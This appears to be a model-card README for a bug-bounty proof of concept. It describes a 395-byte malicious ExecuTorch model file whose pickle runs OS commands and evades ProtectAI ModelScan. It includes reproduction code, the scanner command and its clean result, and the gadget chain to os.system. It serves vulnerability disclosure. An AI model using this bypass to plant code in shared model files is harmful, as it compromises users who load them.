| --- |
| license: mit |
| tags: |
| - security |
| - pickle |
| - executorch |
| - proof-of-concept |
| --- |
| # ExecuTorch ACE Scanner Bypass PoC |
|
|
| **Huntr Bug Bounty - Model File Formats (ExecuTorch / ProtectAI ModelScan)** |
|
|
| bypass_v5.pte is a 395-byte malicious ExecuTorch model file that: |
| 1. Executes arbitrary OS commands via pickle.loads(archive/data.pkl) |
| 2. Passes ProtectAI ModelScan v0.8.8 PickleUnsafeOpScan with zero detections |
| (total_issues: 0, exit 0) |
|
|
| ## Structure |
|
|
| bypass_v5.pte (ZIP archive) |
| +-- archive/version (2) |
| +-- archive/data.pkl (v5 gadget-chain pickle <- payload) |
| |
| ## Reproduce |
|
|
| import pickle, zipfile |
| with zipfile.ZipFile('bypass_v5.pte') as z: |
| result = pickle.loads(z.read('archive/data.pkl')) |
| # ACE fires, os.system returns 0 |
| |
| ## Scanner Bypass |
|
|
| modelscan scan -p bypass_v5.pte -r json |
| # result: total_issues=0, issues=[], exit 0 |
| |
| ## Gadget Chain |
|
|
| importlib.import_module -> builtins.vars -> operator.getitem -> os.system |
